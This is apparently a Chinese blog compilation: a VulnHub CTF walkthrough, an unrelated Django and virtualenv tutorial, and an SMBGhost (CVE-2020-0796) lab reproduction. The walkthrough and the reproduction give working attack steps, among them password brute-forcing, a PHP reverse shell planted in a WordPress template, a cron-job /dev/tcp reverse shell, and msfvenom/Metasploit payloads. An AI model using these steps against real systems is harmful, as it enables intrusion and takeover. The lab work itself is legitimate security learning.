0x00 准备

靶机下载:

https://www.vulnhub.com/entry/bsides-vancouver-2018-workshop,231/#release

双击ovf文件,导入到Vmware中,选择NAT模式

Kali:192.168.194.140

0x01 测试

首先nmap扫描同一C段:nmap 192.168.194.1/24,找到目标机器IP:192.168.194.143,且开放21、22、80端口。

访问Web页面(80端口)

使用dirsearch.py脚本进行目录扫描:

python dirsearch.py -u “http://192.168.194.143/” -e *

访问robots.txt,得到一个弃用的Wordpress的路径地址,访问首页看到了作者:john,得到一个用户名。

接着使用dirsearch.py进行扫描:

python dirsearch.py -u “192.168.194.143/backup_wordpress/” -e *

访问/readme,可以看到该站的版本为4.5一个很老的版本,现在最新已经出5.4了,这种老站已经相对很少了,但是对付老站就可以掏出神器wpscan进行漏扫。

root@kali:~# wpscan –url http://192.168.194.143/backup_wordpress/ –enumerate u

枚举出两个可用用户admin、john

访问:http://192.168.194.143/backup_wordpress/wp-login.php进行抓包爆破后台密码,载入一个常用密码字典即可。网上搜罗,最终得到john的密码是enigma

进入后台后选择“外观”->“编辑”->404 模板.php, 修改404.php文件写一个反弹Shell的PHP木马,可用Kali中自带的,路径: /usr/share/webshells/php/php-reverse-shell.php 将IP写为Kali的IP,端口为Kali端用nc监听端口。

在下方点击“Update File”更新即可,然后访问指定路径:http://192.168.194.143/backup_wordpress/wp-content/themes/twentysixteen/404.php

该路径可以看出是右边两个红圈的名字,当处于加载转动状态,回到Kali监听端即可看到反弹回Shell

接着利用python做一个交互式的TTL的终端,命令:python -c 'import pty; pty.spawn("/bin/bash")',查看当前权限是www-data,然后查看下可以登录该机器的用户有哪些。

其中存在几个拥有bash权限的用户,利用hydra尝试爆破下SSH密码,最终只得到anni的密码为princess

SSH连接登录:ssh anne@192.168.194.143 随后提权到root用户,拿到flag

第二种方法:查看定时任务,存在一个以root用户定时执行的任务

查看原有的cleanup是以一个清除Apach日志记录的,将其重新写入,注意这样拿到的Shell没有rm和vi命令,只能通过echo进行写入

echo ‘#!/bin/bash’ > cleanup

echo ‘bash -i >& /dev/tcp/192.168.194.140/4444 0>&1’ >> cleanup

然后快捷键【Ctrl】+【Shift】+【T】新开一个终端,监听4444端口,一会就收到root用户的Shell了。

0x00 MVC框架

MVC框架的理念就是:分工,让专门的人做专门的事

M:Model模型,与数据库进行交互

V:View视图,产生HTML页面

C:Controller控制器,接收请求,进行处理,与M和V进行交互,返回应答

从一个注册的交互过程理解MVC工作原理

0x01 Django的MVT框架

Django是一个遵循MVC的python Web框架, 但是他的框架模式有自己的名字:MVT

M:Model模型,和MVC中M功能相同,和数据库进行交互。

V:View视图,和MVC中C功能相同,接受请求进行处理,与M和T进行交互。

T:Template模板,和MVC中V相同,产生HTML页面。

区别是以V代替了原来的C,同T和M进行交互。

0x02 虚拟环境的安装

在python中如果安装一个包的不同版本,后安装的会将原来安装的包覆盖掉,在实际开发中若遇到使用同一个包的不同版本的情况则就无法同时兼得,遇是就使用了虚拟环境来进行操作。

安装虚拟环境的命令:

这里以ubuntu18.04为例

1)sudo pip install virtualenv#安装虚拟环境
2)sudo pip install virtualenvwrapper#安装成拟环境扩展包
3)编辑家目录下面的bashrc文件,添加下面两行。
export WORKON_HOME=$HOME/.virtualenvs
source /usr/local/bin/virtualenvwrapper.sh
4)使用source .bashrc使其生效一下。

创建虚拟环境:mkvirtualenv test3(名字)#这样默认是python2的环境

mkvirtualenv -p python3 test(名字)#这样是python3的环境

执行完毕后进入其目录(虚拟环境就是真是python环境的复制版)

在Home目录下输入【Ctrl】+【H】显示出隐藏文件,就可以找到 .virtualenvs文件夹

可以建立多个虚拟环境,同时若给虚拟环境中的python安装依赖包直接pip安装即可,如果加上sudo前缀就会加到真实环境中,而不加sudo安装的结果在如下目录中。

退出虚拟环境输入deactivate,重新进入虚拟环境目录输入workon再按两下【Tab】键即可快速列出所存在虚拟环境并选择进入。

删除虚拟环境:rmvirtualenv test(虚拟环境名)

0x03 Django

虚拟环境下安装Django1.8.2版本

(test) xiaoteng@ubuntu:~$ pip install django==1.8.2

项目创建 命令:django-admin startproject test1(项目名)

init.py 说明test1是一个python包
settings.py 项目配置文件
urls.py 进行url路由的配置
wsgi.py Web服务器和Django的入口
manage.py 项目的管理文件

一个项目由很多个应用组成的,每一个应用完成一个特定的功能。
创建应用的命令如下:
python manage.py startapp 应用名

注意:创建应用时需要先进入项目目录。

init.py 说明目录是一个python模块
models.py 写和数据库项目的内容
views.py 接收请求,进行处理,与M和T进行交互,返回应答
定义处理函数,视图函数。
tests.py 写测试代码的文件
admin.py 网站后台管理相关的文件

建立应用和项目之间的联系,需要对应用进行注册。
修改settings.py中的INSTALED_APPS配置项。

(test) xiaoteng@ubuntu:~/django/test1/test1$ vi settings.py

启动服务(默认在8000端口):python manage.py runserver

启动后访问127.0.0.1:8000即可。

网上现在已经有很多复现的文章了,我也做一个学习总结。

0x00 漏洞描述

2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。

0x01 影响范围

  • Windows 10 Version 1903 for 32-bit Systems
  • Windows 10 Version 1903 for x64-based Systems
  • Windows 10 Version 1903 for ARM64-based Systems
  •  Windows Server, Version 1903 (Server Core installation)
  • Windows 10 Version 1909 for 32-bit Systems
  • Windows 10 Version 1909 for x64-based Systems
  • Windows 10 Version 1909 for ARM64-based Systems
  • Windows Server, Version 1909 (Server Core installation)

0x02 准备工作

Win10 1903的镜像:https://pan.baidu.com/s/1G2oyLolCK62VNDI1GGSOXA&shfl=sharepset#list/path=%2F

漏洞检测工具: https://github.com/ollypwn/SMBGhost

奇安信检测工具: http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip

蓝屏POC: https://github.com/eerykitty/CVE-2020-0796-PoC

本地提权POC:https://github.com/danigargu/CVE-2020-0796/releases/download/v1.0/cve-2020-0796-local_static.zip

远程漏洞利用POC:https://github.com/chompie1337/SMBGhost_RCE_PoC

0x03 漏洞复现

首先注意不是任意Win10都存在该漏洞,注意对应版本,Vmware安装完镜像后,需要关闭防火墙,不然主机的流量无法过去。选择“打开网络和Internet设置”

点击“Windows防火墙”,将以下三个网络全部关闭,之后进行漏洞检测和利用。

Win10虚拟机IP此时为192.168.194.137

1)漏洞检测的两个工具,第一个利用方式

第二个奇安信的工具的利用方式,可进行批量检测

2)蓝屏POC脚本执行前需安装需要的库pip install ntlm_auth,python3环境下运行,运行后虚拟机立马就蓝屏重启了。

3)本地提权POC,需要将exe文件上传到目标机器,但不具备免杀效果,所以需要关闭杀毒。

在目标机器上运行exe文件会弹出一个system权限的shell对话框,成功提权。

4)远程漏洞利用POC

1-首先使用Kali的msfvenom生成一个python类型正向连接的shellcode。

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b ‘\x00’ -i 1 -f python

2-将生成的 shellcode 替换 POC 中 exploit.py 里的USER_PAYLOAD字段,注意要将buf替换为USER_PAYLOAD,同时注意msfvenom生成的shellcode比exploit.py里原有多几行,需自行添加补齐。

3-msfconsole开启监听端口

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
options
set rhost 192.168.194.137
run​

4-运行exploit.py 执行命令: python exploit.py -ip 192.168.194.137

过程中需要多执行几次,经常会出现“[-] physical read primitive failed!”的语句就终止了。

5-当成功运行起来后,出现到“[+] Press a key to execute shellcode!”执行shellcode按下“Enter”时,会大概率把Win10打蓝屏重启,其中一次没有重启,但Kali中的监听端口却没有收到Shell,按下【Ctrl】+【C】,再重新执行run命令,就会收到meterpreter的Shell了。

6-拿到Shell后可结合本地提权的POC,在关掉杀毒,防火墙的情况下运行进行提权。